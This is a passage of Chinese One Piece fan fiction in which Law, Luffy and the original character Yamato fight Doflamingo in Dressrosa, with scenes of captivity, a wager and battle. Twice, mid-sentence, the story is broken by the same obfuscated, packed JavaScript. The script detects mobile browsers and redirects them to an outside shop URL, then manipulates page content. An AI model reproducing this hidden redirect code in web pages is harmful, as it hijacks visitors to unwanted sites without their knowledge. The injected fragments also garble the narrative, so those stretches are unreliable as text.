面对不够连贯的吐槽,多弗朗明哥却在自己的王座上老神在在地继续同谋士讲述计划:“我们要比当年收养罗的时候对这小鬼更殷勤些,既然百兽已经有自己的少爷了,以后这个‘大和’就当作家族的‘少爷’,我会把他当亲弟弟看待,尽快帮他治好癫痫或者是脑子的什么其他毛病,帮他找回过去的记忆,好好照看他。” 他说着站起来,像是拿定了什么主意一样,将坐在地上瞪大眼睛、面色怪异的年轻人轻轻松松拎了起来,像拎一只小鸡仔又或是被镣铐缠绕的娃娃。 “既然以后就是家族里最重要的小鬼,你喜欢的当然也都可以拿走——” 一面大步朝楼下走去,他一面慢条斯理地向手里绵软毫无挣脱还手之力的人介绍接下来即将发生的情形: “你应该暂未听说,莫奈还有个妹妹——她可是家族的重要‘资产’——能将人变成永远也不会伤害人类,只会逗人开心的玩具;就算是罗那种臭脾气,估计变成玩具后性格也会好地不得了,把他变成玩具然后永远跟在你身边……你觉得怎么样?” (本章未完,今天就写出来这么多……周末补齐。) 55.piece 53-真实的他与各自的战场 多弗朗明哥好像快二十年以上没听到过有人敢对自己这么大放厥词。 在更久远的记忆中,即便偶尔有人对他出言不逊,那也都是出于侮辱或报复,很少有人这么直接刺痛他的自尊。而眼前这个年轻人,却是一面平静,另一面毫不客气地否定他,还带着几分怜悯。 多弗朗明哥察觉到自己的怒火越烧越旺,比对草帽一伙和罗带来的麻烦更甚,但还有种陌生的感觉让他“不好意思”去承认自己的愤怒。 他居然觉得承认愤怒就等于“输了”——他,多弗朗明哥,居然也有这种幼稚的想法。 “……我好像有点理解罗为什么要把你‘变成’结巴——少爷,你还是不说话更可爱些。” 如果无法控制情绪,他现在就想扣动扳机,但理智提供了另一道选择: 小心避开海楼石,他随手拎起被五花大绑的青年,将其扔到途经的巨窗前。轻轻松松攥住对方还没有他手掌大的脸蛋抵在玻璃上,“向外看看吧:你觉得这群人不受我掌控吗?” 地形在琵卡的能力影响下已经发生剧烈变化,完整的空地已经所剩无几,与此同时,“鸟笼”还在继续收拢,可供人们生存的空间愈益压缩,在他听不到任何惨叫与咒骂的脚下,随处可见密密麻麻逃命不止的人群。 “或许他们不算心悦诚服——就像你一样,我可爱的小少爷。可你的命此时此刻还是捏在我手里,他们也是——草帽一伙,罗,还有那些你所谓怀着杂七杂八、俗不可耐的‘目的’来到这个国家的人,只要他们拿不走我的项上人头,迟早还是要屈服于我。” “多弗朗明哥,你这个……疯子!你不会……如愿的!罗和路飞会救下这个国家!” 夹杂愤怒的笑声在空空荡荡的王宫阶梯间传开,多弗朗明哥自然不肯轻易相信天命会在此终结。 “看来我们的对局势的判断是无法达成共识了,既然这样,想打个赌吗?用我的脑袋,和你的性命。” “可以啊!如果罗……败了,我会陪他一起死!” “哦不,你理解错了。我怎么舍得杀你呢?还得留着你们的命供我差遣。”面对听者愤慨与困惑交织的琥珀色眸子,他正式宣布双方筹码:“如果结局如你所言,我亲自把头割下来给你;如果我赢了,你的残生就全用来替我卖命吧。” “我对你的脑袋没兴趣,”年轻人一字一顿、认认真真地回答,“但如果你非要这样才甘心,我可以陪你玩。” “呋呋呋……一言为定吗?”即便只是口头上的打赌,多弗朗明哥已经确信自己一旦赌赢了,以对方的个性大概率会愿赌服输。 ——大和一定很善良,这点光是认识他不到半天就能看出来;可正因为他的善良,旁人笃定他会履行承诺,哪怕不得不为此走上曾经憎恨的道路。 这就是某些非要用原则约束自己之人的可笑之处。而多弗朗明哥只要利用好这类人的原则,便能终将对方变成为自己所用的利剑。 “当然。”青年果然一口答应。“我会说到做到。但你最好也当心……别放走我,不然我也会和他们一起……揍到你认清现实。” - 对大和的话,多弗朗明哥离开之前似乎多少听进去了。于是等到同盟两位船长终于成功回到王宫高地,于解救同伴方面便遇到一重难关。 ——罗已经用能力将海楼石锁链尽数斩开,奈何船员还是一动不动。 “那混蛋这次又对你做了什么?!” “抱歉,可能我刚刚……把话说过头了……”再次看到活蹦乱跳的船长,大和却只能像个没上弦的发条娃娃一样坐在地上,反思自己不该逞一时口舌之快。 虽然情况有些尴尬,但毕竟看见两位船长同时平安出现,一时间他的心情还是好转不少:“太好了!你们到底是……成功赶来了,船长,路飞。” “嘻嘻嘻,小意思、小意思~……啊不对,现在没时间闲聊了,大和,能站起来吗?我们要尽快赶到上面去揍飞明哥!” “很显然他现在站不起来。”还是外科医生在简单查看后推测出可能性:“打杂的,你莫不是肢体关节都被Joker的能力缠住了?一点都动不了吗?” “啊,原来如此,应该就像你说的那样!虽然没有海楼石,我现在却还是觉得肌肉没办法正常发力,好像被什么东西堵住一样,四肢一丁点也抬不起来。” “该死!” “没有办法解开吗?” 戴草帽的青年看过来的同时,琥珀色的大眼睛也眼巴巴地望了过来。 同时面对两个人求助的眼神,在场唯一的医生莫名感到一阵不爽——搞什么?这两人看起来好像很同频的样子。 “办法当然有,我可以给他现场做手术,但是需要花很多时间,而且不知道Joker会不会趁机下黑手。” “啊?那你在这给他做手术吧,我一个人上去先将明哥揍一顿!” “——慢着!你忘记才答应我的战术了吗,草帽当家的?”罗一把拽住撒丫子就要跑的同盟,低头又对船员说:“打杂的,先老实给我交代你到底得了什么病,我再判断要不要让你一起参战。” “啊!船长,我要和你一起揍飞坏蛋!”只有脖子和指关节还能动的人立刻扬起头来,说话间十根指头好像都在奋力请命。 “那就说你到底哪里不对劲!为什么Joker都知道你有病,我却不知道?” “我没病!”大和梗着脖子道。 “我讨厌说谎的男人。” “——不要讨厌我!”被船长一句话就简简单单“逼供”之人面露惊慌,“我真的没有生病,多弗朗明哥胡猜的,我就是……就是……” 路飞歪头左瞧瞧、右瞧瞧,只见在同盟船长面不改色地逼问下,坐在地上的白发海贼瞪着明亮的大眼,气势一点点减弱。最终后者瘪了瘪眉头,语气多有不满道:“只不过是能力用多了身体会累而已……” “你少大事化小——任何人用多了能力都会累!”罗在来的路上就已经提前想通,以船员向来心直口快的个性,如果身体真有问题,还不肯早早对他这个身边的医生承认的话,一定不是简单的问题。 “——另外,你有什么可不满的?被你瞒着当猴耍的我才应该不爽吧!你听着,外面的鸟笼很快就会杀了所有人,你多一句废话,等于多一个死人。要是再不说实话,全城的人给你陪葬。” 这话不假,只不过稍有夸大的成分。路飞大概听出旁边的男人应该在问船员一个很重要的问题,便配合地不吭声,也站定了等结果。 “不行哇!罗你可是来……救大家的!” “既然知道,还耽误时间?” “我一个人根本……不重要。你们带我上去,我会……自己想办法!” “就这么不肯对我承认嘛?!”僵持数秒,罗有了几分怒意,此时松开同盟的脖领子,转而蹲下来揪住——他也不知道在这件太过暴露的裙子上还有哪里可抓,只得一把攥住大和的手臂,恨道:“你真不打算听我这个船长的话了,是不是!” “……那我说了,罗不许……赶我走。”琥珀似的眼眸带有恳求与不确定之意,让对其个性足够了解之人一见就心里有了底。 罗叹了口气,做好决定后定睛看向对方:“你说。” “我的身体可能……承受不了能力,有时候用过头了,会控制不了……身体。” “具体症状呢?” 医生还算沉着的反应或许给了坦白之人一些信心。大和于是放松戒备道:“普通情况下……心脏会痛。严重的时候可能……会无法行动。” 罗听罢神色凝重地起身。 “从什么时候开始的?” 大眼睛似乎心虚地闪动了一下,视线偏移,“大概……两年前。” 帽檐阴影中的星辰灰瞳多了一层深意,“草帽当家的,你觉得呢?” 路飞会意,按住头顶的草帽,乐呵呵地回答:“无论怎么说,我会揍飞明哥的!”他这话大概是说到点上了,因而话音刚落,下一秒就见原本坐在墙边的白发人不见了踪影,仅有一片绿叶翩然落地。 明显将同盟的答案直接听成是对自己看法的支持,将船员瞬移至别处后,罗握紧长刀转向同盟,“抱歉耽误了几分钟。现在可以走了。” “哈哈哈,看得出你们感情很好嘛!那我就不邀请大和当我同伴咯。话说他的身体状况真地不大好嘛?需要的话,我们船上的船医可以帮忙。” “想都不用想,我的船员不可能去给你当同伴。他的问题我会亲自解决,不劳烦心。” “诶?可是你之前还问我要不要带走他的!正好我的同伴们也都很喜欢他……” “那是为了劝他逃命,不是说给你听的!况且此一时、彼一时了,草帽当家的。这一次我要亲手砍了多弗朗明哥,大和当然也还是我的人,谁都别想抢!” - 王宫高地之外,赫然躺在花田中的人眨眨眼睛,待辨认清楚周遭环境,也就明白是被罗用能力传送到外界。 “可恶……”他都已经说实话了,居然还把他扔到外面来。“船长……大骗子!!”?——这笔帐他记下了!罗! - - 在满目疮痍的德雷斯罗萨,战斗正于各处进行。 大和从同盟口述中得知大致情况,目前德雷斯罗萨国内反对唐吉诃德家族的共有3种主要势力:除了“草帽”和“红心”的海贼同盟之外,还有以原国王力库及原军队长居鲁士为首、并与“小人族”咚塔塔一族联合的国王军,以及原本被烧烧果实的陷阱引来参加竞技的一干勇士。 ——原来从他首次与多弗朗明哥交战倒下后就处于状况外,直到现在才知晓外面有这么多人在为推到多弗朗明哥的统治而奋战。 这么一看,在他与多弗朗明哥的赌约中,似乎他的赢面还是不小的。 明白了这点,被自家船长“坑”了的事好像也没那么值得挂怀,至少在等咚塔塔族帮他解开关节上缠绕的丝线、进而疗伤期间,心情都还保持相对乐观。 “多谢了,曼雪莉公主、还有……雷欧桑。” 他眼下只剩一条腿的膝盖暂未恢复,身上大大小小的伤势都得到了治疗,已经能自如地坐起来,低头仔细打量两名只有手掌高的小人族。 “不用客气噢~亚玛兰度。多亏你和罗兰度、路飞兰度一起对付多弗朗明哥,我们才看到了胜利的希望。” 满头金发的公主曼雪莉站在掌心细声细气地回答,令身为“大人族”的他连心情好像都被治愈了。 然而遗憾只是他未能真正参与到王宫顶上正在上演的激烈战斗中——拜他的亲船长所赐——思及此,他还是面色一沉。 “我本来……的确可以和他们一起去……揍多弗朗明哥,可是被罗……丢出来了……”结果他只能坐在花田里担心上面的战局,一点力也没出。 “不要紧啦!幸亏你被送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671636|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这里,才保护了我们,不然大家都会被迪亚曼蒂刚刚那阵‘铁蒺藜雨’砸伤的。” “——说的是呢,多亏你来的及时。” 就在他们的头顶,草帽海贼团的妮可-罗宾张开的手状大树之上,一片坚固剔透的寒冰如巨大雨棚遮盖住方圆数十米的花田,正是大和在一支手臂得以紧急恢复后用能力撑开的冰墙。 “而且你的关节都被缠住的情况下,应该也无法参与战斗吧?特拉男应该也是考虑到这点才将你送出来。”罗宾早已看出同盟从刚出现时就为什么而生闷气,继小人族公主之后,也继续劝导大和。 更远处,独腿的原国王军队长已经赢下对唐吉诃德最高干部迪亚曼蒂的决斗,这是德雷斯罗萨国内同整个唐吉诃德家族对抗的第六场胜利。剩下的问题应该就只有王宫中的核心战场、与王宫外仅剩的一名最高干部琵卡。 “曼雪莉公主说的没错,大和,希望已经近在眼前。接下来就交给路飞他们吧。” 罗宾的话引来大和注意,进而也使后者不禁受她的态度启发而开始思考:似乎不仅是罗宾一人,草帽海贼团的同伴们都很信任并且愿意将希望寄托于船长路飞。这种不假思索的信任令人吃惊,也令人羡慕。 大和一向也很希望罗能够信任自己,甚至希望在所有的风险面前都能够替罗分担、解决。这固然因为罗作为船长对他而言很重要、而他也的确肩负着守卫船长的任务,但或许有些时候是否做得过头了? 难道真地就像罗先前指出的那样,是因为他们的关系已经“太复杂”?他对罗的感情不仅限于同伴,还超出了同伴之间的关心,出于恋人心理想要尽可能为对方“遮风挡雨”——可这或许让他不由自主地忘记在某些情况下本该信任对方,充分尊重和肯定对方的能力,不应过多干涉属于对方的战斗。 仔细想想,似乎在刚刚听到的有关德雷斯罗萨的每场战斗中,草帽海贼团都有一位成员独当一面,而其他人均不会主动干扰,最多只是在旁注视同伴、在同伴倒下时及时搀扶或补位。 这样似乎也很好…… 所以说有没有可能罗也很看重和多弗朗明哥的决战,不希望船员在场“碍手碍脚”,才将他扔了出来? 地面一阵剧烈的震动在这时打断他的思绪,大和立刻抬起头戒备,顺便抬起手臂扶了旁人一把。 “哇!是地震了嘛?”幸得站在“大人族”的手掌上,曼雪莉公主握住大和的手指没有摔倒,只是是看到了周边其他站在地面的人站立不稳的状态。 “应该不会这么巧……谢谢。”罗宾放低重心站稳后,对同时松开手的人道谢,进而猜测:“可能是附近的攻击余波吧。此刻王宫外还剩下的战斗应该只有……” 然而她的话音未落,花田高地上已平地升起柱状岩石,不巧正将站立于边缘的居鲁士与莉贝卡弹开。“——是索隆正在对付的最高干部琵卡!”罗宾道出了大和也已得到的答案。 “亚玛兰度,你要去哪?!线还没有完全解开……” 随着大和将掌中的曼雪莉放回地面,撑起一条腿试图起身,原本站在他腿边的雷欧也被迫停止工作。 “不好意思,雷欧桑,治疗要先……等一等。”——或许当罗在属于自己的战场奋战时,他也应该在其他战场起到自己的价值。 迪亚曼蒂才刚刚倒下,远处的独腿士兵应该无法再对付实力更强的琵卡。眼下还不知道来者到底是何目的,可如果有意对花田发起攻击,大和自然不能任由其伤害他人。 问题是他的武器此刻不知道丢在什么地方了,赤手空拳虽然也不是不能战斗,但可能会降低攻击效果。 好在冰的防御力尚不受影响,勉强抵挡又一波石柱,虽然冰层最终均被岩石突破,攻击力还是降低不少。 借助冰面得以转眼滑至战场中央的男人拖着一条腿站定,手握冰锥直指从石柱表面浮现的人脸状岩石:“为什么来这里……琵卡?” 回答他的是尖细到刺耳的声音,即便已经听过一回,再次听到还是令人不适。“原来你已经跑到这了呀,少爷。” “闭嘴,我不是你们……的‘少爷’,有什么问题回去问……多弗朗明哥。现在回答我:你来干什么?” “不用紧张,我不是来找你的。”尖锐的声线解释到,“我来,只是为了问几句话。” “问话?” “是啊,听完答案,我会走的。” 此话或许不假,琵卡接下来果然对居鲁士和莉贝卡父女发出一连串有关前任国王力库的问题,当听闻二人仍对力库王心怀崇敬与感激、并且认为只有力库王才配当作德雷斯罗萨的国王时,琵卡也就隐去音容退出花田。 ——可这又闹的是哪一出? “亚玛兰度?太厉害了!是亚玛兰度赶走了琵卡?” “不是的。”和自己无干的功劳,大和自然一口否认,“是他自己走了。但是直觉上……不大对。” 脚下再次连续出现震动,能判断出震源来自更深处。看来琵卡正在不断走远,似乎有着其他目的,而刚刚真地只是来“问几句话”。 一时得不到确切答案,但大和清楚自己是不能在这干等下去了。“雷欧桑,有个不情之请,可以尽快帮我……解开膝盖上的线吗?”既然已经被罗传送出来,他不应该再浪费时间独自生闷气,不如干脆借助这个机会,在外界正经发挥些作用。 ——也好转移注意力,别总想着去“打扰”船长的战斗。 56.piece 54-真实的他与阴霾之下(未完) 一生中的十三年时间应该如何度过? 罗曾经一度笃定自己很快就会死,生命被置于一边,目标只有虚无与混乱。 他感念唐吉诃德-罗西南迪的厚恩,少年时期那段与人生相比仍显得短暂的求医之旅中荒诞或温情的点滴,是他此生宝贵的记忆。 柯拉先生牺牲那一年,他刚好在世上度过了十三年,有幸偷生后,生命给了他另外十三年去思考活着的意义——与此问题相伴随的,还有关于“D”之一族的意义、自由的意义,以及该如何用余下的生命报答恩情,该为死去的柯拉先生做些什么…… 恩人生前曾试图阻止唐吉诃德家族侵占德雷斯罗萨王国,因他急中错信了卧底在海军之中的维尔戈,为解救一国所做的努力毁于一夕。 其实柯拉先生当年也可以不管本就注定活不长的少年,为德雷斯罗萨原王族和一整个国度的幸福,继续在唐吉诃德家族潜伏。然而那个太过善良和温柔的男人中断了身为海军中佐的任务,千里迢迢、不肯放弃地带着少年求医。 男人给予少年的爱温暖而沉重,不惜暂时放下责任、不惜向少年撒谎否认自己是海军、不惜堵上了自己的性命……以及,仿佛在男人的心目中,远方那个岌岌可危的王国和眼前命在旦夕的少年曾是同等重要的。 罗能想象年少时的自己得以“苟延残喘”的背后,其实担负了多么重大的意义:不仅是价值50亿的手术果实,还有恩人壮烈的牺牲和被迫任务失败造成的一系列影响。 飞燕岛上曾经度过一段安宁的岁月,17岁时再次主动踏上旅途,正是罗为了更深刻地理解柯拉先生死前寄予他的期许,也渴望兑现恩人为使他活下去赌上的一切价值。 ——“D”到底有着怎样的意义?如果柯拉先生那样伟大的男人会因为听到他是“D”而拼尽一切拯救他,那么“D”定然不同凡响! 既然说D之一族注定成为天龙人的克星,今日当他终于得知多弗朗明哥竟也是天龙人,不禁相信自己度过十三年后能够站在这里、与同样作为D之一族的蒙奇-D-路飞联手,在德雷斯罗萨挑战忝居国王之位的敌人,或许一切冥冥之中自有“命运”的安排。 - “——无聊的迷信!原来这13年就为这么点事苟延残喘至今,罗,你真是白活了。” 王宫顶上的交战中,多弗朗明哥大概听明白了昔日曾说要毁天灭地的少年、今日却非要干掉他拯救德雷斯罗萨的青年是什么意思——对此他只有嗤之以鼻。 “说到底,你小子不过为了罗西南迪那几句胡言乱语苟活至今,这么些年也只是个没有灵魂的傀儡罢了……” 莫名地,说到这里,他停顿了一下。 “没有灵魂”?“傀儡”?——这些话虽然确实都是他信手拈来对罗攻心所用,但为什么不由自主地选了这两个形容——似乎还都是不久前才听过的形容词。 不,应该没有什么关联才对。只是碰巧罗带来的白发青年也用类似的话来“攻击”过他,让他很生气,才对这些话留下印象吧。 多弗朗明哥转眼不再动摇,将脑中无干的联想干脆转化为对对手的攻心手段: “说到这,我倒也不禁好奇:你这些可笑的心思如果被手下得知,他还会依旧保持对你的信心吗?” “和他有什么关系?”或许没料到会在眼下扯到另一人身上,罗略感诧异,又立刻提醒自己不要被敌人的话牵制注意力,恢复到对峙中应有的警惕。 “我的事大和都清楚,我们之间也没什么好隐瞒的;此前该有的信任、今后一样会有,用不着你操心。” “——是这样吗?你真心以为还有‘今后’?” 太阳镜后遮挡的双眼似乎仍有洞察人心的力量。在战斗中扰动对手思绪,进而将局势引向对自己有利的情况,也正是多弗朗明哥的拿手好戏。 “罗,从你决定放弃此前的作战计划、在格林比特找我决一死战之时,难道不曾‘妄想’过和我同归于尽你吗?换句话说,你为了复仇,早就已经把那个可怜的家伙抛到脑后了,对吧。” “……” “呋呋呋呋……我没说错吧?就算你拿自身的悲惨经历当说辞‘骗’他跟你上刀山下火海,却没有将真正的想法和计划告诉他——可怜被你蒙在鼓里的小‘少爷’,就在刚刚,还信心满满地和我打了一个赌—— “现在想想,其实如果我赢了那个赌约,对他来说或许是好事:对我俯首称臣,总比跟着你不知下一秒会否变成丧家之犬强吧!” 饱含嘲弄的笑声同时从罗面对的两名对手口中传来,听来刺耳令人心烦。 青年一再提醒这些只是敌人卑鄙的战术,无需往心里去,更重要的是保持冷静找寻进攻的机会。 ——是的,他不需要对多弗朗明哥解释太多,反正对方也不会在乎他说什么。 如果他有对不住船员的地方,他会事后向那个人认罪道歉。如果他自私地利用了大和会自己的信任,他会原原本本的承认,担负起所有的后果。这是他与大和两人的事,轮不着敌人多嘴。 罗现在足够冷静,即便此役之后是否能活下来尚且是未知数,但他会尽全力活着去见他要见的人、爱的人或是亏欠的人。 “少趁我不在欺负我的人!什么打赌?八成是你给他挖的陷阱。”罗虽然不知道多弗朗明哥说的赌约具体是什么内容,但可以肯定他绝对没安好心。 “看来我家船员太好,也引得其他豺狼盯上来——奉劝你还是死了这条心,多弗朗明哥——我不会让你有机会奴役他。我家那位和你打了什么赌,我定然亲手让你输的心服口服。” 话音落下,一时只有王宫下层的打斗声不绝于耳。 喜怒难测的语调迟迟响起:“口气不小,可你如今还有什么赢面可言? “——你没本事驱使大和,也不可能赢过我。若你刚刚没将大和扔出去,二人联手尚有与我抗衡的可能;你选择相信草帽小子,但到现在那小子迟迟解决不掉贝拉米,使你孤立无援甚至还要同时对付我和托雷波尔两人。连续的决策错误使你如今 ‘死期’将至了。 “我再最后对你预言接下来的情形吧:草帽路飞帮不了你,你会落在我手里,但我不会轻易杀了你,而是会留你一口气,好让砂糖将你变成玩具,这样你身边的人就能彻底忘了你; “这之后大和就将因为你的失败而彻底为我所用,他不会记得你,当然也不会记恨你,但他会记得认赌服输,至死替我卖命; “你会看着他一天天失去自我,最多能做的只有当个好玩具、挖空心思不过逗他一笑。直到那一日你终于醒悟自己曾经多么狂妄愚蠢。 “等你明白了,就会主动求着替我完成永生手术,彻底从悲哀的一生解脱,或许死之前我会开恩让其他人重新记起你曾存在。” 多弗朗明哥以睥睨姿态俯视着比自己瘦小的年轻人,暗自慨叹曾经竟以为对方和少年的自己很像,且居然曾想将他当成自己的左膀右臂来训练。 可命运的转折来得实在太随机了,没想到他看中的“苗子”走丢了这么多年,再出现已丢了最宝贵的冷酷与理智,变得如此软弱且颓废—— 为什么将本可利用的力量抛开不用,可想而知理由一定十分可笑,是舍不得爱人倒在战场么?还是简简单单地不想牵连“无辜”?又为什么相信看起来比他自身还可笑的同盟,就因为是“D”吗?就因为草帽一伙的历险中所造就的被少部分夸大的“奇迹”? 奇迹算什么东西!这世上的奇迹不必说昙花一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689767|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现,即便出现也只不过黄粱一梦,只有力量和权力才是绝对的,是统治一切、压制一切的制胜法宝。 生命对弱者而言只是荒芜的过场,活着本没有价值,死亡将是神对他们卑微一生的最大开恩。 刚巧看起来面前的年轻人少时偷生,十三年来却活得浑浑噩噩,形同躯壳,最终也不过求死而已。多弗朗明哥自认为天命所选,那就好好利用他最后的价值,让他的死亡体现出应有的意义吧。 “或者,我还可以再给你一次机会——跳过那些麻烦的过程,只要你现在就回心转意,愿意为我实施手术,待你死后,我倒可以替你实现余下的愿望……” - - “特拉法尔加-罗……死了……” 王宫顶上激烈的战事通过有着千里视物的瞪瞪果实能力者维奥莱特传达,消息讲到这里,王之高地旧址上陷入一阵凝固。 “喂……怎么可能啊……” 即便周边几乎听不到其他人声,草帽海贼团的长鼻子狙击手震惊之后的反问仍显得无力。 绿发剑士顿了顿,将视线转向一旁——方才砍倒琵卡后半路遇见便顺手抓来的同盟海贼——白发人的面孔就像静止一般看不出任何情绪,似乎出于惊愕而拒绝接受所听闻的消息。 天空中不巧飘过一大片阴云,投下暗影,如同是对在场人们的心境的外化。 一时竟无风,于是原本还被微风舞动的渐变色长发也停了下来,仿佛某座雕塑的一部分。 “……我的错……” 近处的索隆捕捉到几乎刚出现就消失在沉默中的呓语。 大和呢喃之后也就闭口不言,仿佛从未启唇、刚刚略过的似乎只是风声。 ——他突然明白了自己此前的想法有多愚蠢:说什么别去干扰船长的战斗;他就不应该把船长一个人留在敌人面前! 怪他竟没脑子地拿同盟海贼团的例子同己方相提并论。 草帽一伙是草帽一伙、他们是他们。他与船长两年多以来一向相互照看,同舟共济的路上你中有我、从未分开,那么或许就应该始终坚持这样——他根本就不应该允许罗独自面对险境——就算是死也应该死在一起。 罗不该一个人无助地倒在冰冷的石砖上的,就算倒下,也应由他这个船员垫底,由他这个恋人亲自陪伴。 大和少见地开始怀疑起自己来:为什么他就像中了奇怪的诅咒一样,怎么也保护不了分明是最喜欢、也最想守护的罗。 是他真地有问题吧?而且也太弱了吧?他不应该轻易承认自己身体承受不了能力的事,那样罗就不会决定把他丢出王宫战场了——弱小是一项罪名,承认自己弱小更是无可饶恕的罪名。 混乱的思绪将他彻底围绕,身边沓沓的脚步声也被屏蔽在意识之外,似乎只是无意义的背景音。 有惊恐的声音说“鸟笼”收缩的速度加快了,大和也像完全听不懂一样,处于好像暂时被阴影侵蚀的自我世界中央,围绕他的只有并不连贯的走马灯似的片段。 “黑暗无法消失”、“黑暗无法消散”——罗曾这么告诉过他,那时候他好像还大言不惭地反过来回答对方“光明会驱散黑暗”,他凭什么这么信誓旦旦地讲? 他从未亲身经历过真正的绝望,就算曾经有过,也因为失忆完全不记得。但他至今记得从海贼船长彗星般亮灰的眼中略过的悲伤、恐惧、痛苦的影子,那时以为只是幻象,还说爱会驱散这一切…… ——但他哪有资格对罗信誓旦旦地说这些。 不到自己的世界陷入一片灰暗,怎能明白黑暗有多么深不可测。 (本章未完,先写到这,洗洗睡,待肝完方案回来继续补齐。预计完整写完应该是挺长的一章,至少目前还有一半没写。) 57.piece 55-真实的他与沉重的希望 原来,恶魔果实能力觉醒后便不仅会影响到能力者自身,还会改变能力者所处的环境,能使碰到的物理事物从形态到属性上发生和能力者相同的变化,进而为能力者操控。 这就是目前多弗朗明哥达到的状态。 也就是说,等大和与多弗朗明哥再次正面遭遇时,后者早已被路飞刺激到突破了极限,不再是大和此前见识过的实力层次。 ——这还怎么打! 但既然已经“夸下海口”要替路飞拖住多弗朗明哥十分钟,他就必须咬牙硬扛。 在对手怪物般的能力招式下,代替无刺狼牙棒充作临时武器的冰凌断了一根又一根。由周围倒塌的房屋、堆积的废物变化而来的丝线以排山倒海之势,冲破硬度可比岩石的寒冰“堡垒”,逼得他节节败退。 怪哉,虽然他看起来没有取胜的势头,在他身后聚来的人却越来越多。 ——有些是身穿德雷斯罗萨国王军队的士兵,有些是受号召而来的外国勇士或海贼。都是大和不认识的人,但架势仿佛都要随时冲上来助他阻拦发狂的多弗朗明哥。 即便人们也不应认得大和。 大概他们更可能的动机是保护竞技场的勇士“路西”——亦是已经公开身份的海贼路飞。 虽然想到这么一来敌人无差别的攻击只会造成更多伤亡,但大和身处吃力的干架中,顾不上、也确实口齿没伶俐到劝说其他人撤退的地步。 留给他的选择只有尽可能停下后退的脚步,或许再尽可能找机会前进一小步——即便有可能紧接着又退后两三步——但他还是会不停想办法将实力悬殊的对手逼回去。 已经不断加固的冰墙再次展开,心口也在同时传出不妙的抽痛感,大和还是咬紧牙关,硬是将不安压了下去。 他不能再让身体的短板成为失败的理由!这是存亡之战,也是他临时接过同盟的担子,为所有人争取希望的战斗。希望不能落空,他不能倒下! 然而也不知是否这么巧,他如此细微的变化被对手察觉到。用翻江倒海的攻势碾压式打击他的男人发出得意的笑声,故意说:“‘少爷’,这么替草帽拼命,是终于想通了打算丢下原来的‘主子’么?” 金发男人状似游刃有余地挥动手掌,转眼又一波浪潮般的丝线冲向对手的防御关卡,一击即撕开裂缝——但他还稍微诧异了一下,没想到这个地步对手还能增强防御——再一击也就毫无悬念地绞碎了墙面。 于是尖锐的冰屑四散,一时形如雪花飞扬在艳阳下,只不过站在其中的两人才知道纷纷下落的冰晶实际有多尖锐,与漫天下“刀片”无异。 不慎被冰屑划破体表后,多弗朗明哥用觉醒的能力外加霸王色缠绕,阻挡下其余“雪花”也就绰绰有余。 “——哦?很不像你的个性呢,居然用这么阴狠的招式,不过我还是更欣赏——看来你只要肯稍微变通一下,可开发的潜力还是可观的。” 待冰屑落尽,再收起临时拉起来的防御后,他扬舌尝到了自己的鲜血味道。眼下依然笔挺地站在他对面的,是寒冰覆体,同样也在交战中启用霸气的年轻人——人兽形态的年轻“人”。 “这是你造成的……招式,只不过咎由自取。”大和争辩刚才这场充斥利刃的冰雪暴不是他的本意,而完全是由多弗朗明哥的攻击造成的巧合,“还有……我没有抛下罗,永远也不会。帮助路飞,也是为了守护罗在内的……所有人!” “呋呋,也这么爱管闲事。等我宰了草帽和罗,今后就不会再允许你这么浪费力气在‘贱民’身上了。”年长的男人还是坚持要将面前“暂时”的对手收入麾下,他把这视作自己本场战斗中预定的战果之一。 “你还有几分钟时间可以接着……做梦。但你不会如愿的!”大和再次告诉对方自己的判断。 ——现在联想起来,似乎罗身为船长就从来不会阻止他“管闲事”。虽然罗会吐槽,也会翻白眼、面露不愉,但每一次大和想出手帮助无关的人,罗不但不会严厉阻拦,偶尔还会答应他的请求“捎带手”救治陌生人,乃至悄悄在他身后把剩下的麻烦收拾干净。 这又是一重否定敌人曾说的罗与之“是一类人”的证据。 “多弗朗明哥,停手吧,因为路飞和罗的……战斗,已经越来越多人站起来抵抗你。今日注定是……德雷斯罗萨解放之日。你已经是强弩之末,等路飞再次回来,你将面对的只有彻头彻尾的失败!” 在多弗朗明哥听起来不似预言、更似诅咒的话,不无意外使他不快,但此刻面对他已相中的“俘虏”,理智和耐心还是胜出一筹——只不过下手丝毫不见手软就是。 “从之前就想说了,少爷,你还真喜欢这类‘正义’的陈词滥调,简直像爱说教的老头一样。可那都是些规训小人物的空泛大话,现实是什么样子,就让我亲自给你做个示范。” 密密麻麻的丝线第无数次纠集起来,又远比之前每一次势头更猛,眼瞅就要穿过白发青年的身体。 也就在同时,算着时间应该再撑几分钟就能等回路飞,大和的思绪迅速翻飞,瞬间决定拿出百分百的认真杀回一局。 ——也算替最终对决开个前奏吧。只不过会进一步加剧身体承受的负担就是。 体表用霸气加强后堪堪将攻击拦截下来,暂时阻止了实质性的伤害。电光火石之间他复用起在王宫中已经觉醒的能力,噼啪作响的雷属性霸气蓬勃围绕周身,霎时将裹住自己的丝线“弹开”,或准确说应该是短暂地将丝线攻击无效化。 丝线一时无法近身,作为线线果实能力者的男人二次尝试后也就明白:“你也已经掌握霸王色缠绕?” ——没想到这一城之内,居然已经聚集了三名霸王色使用者。 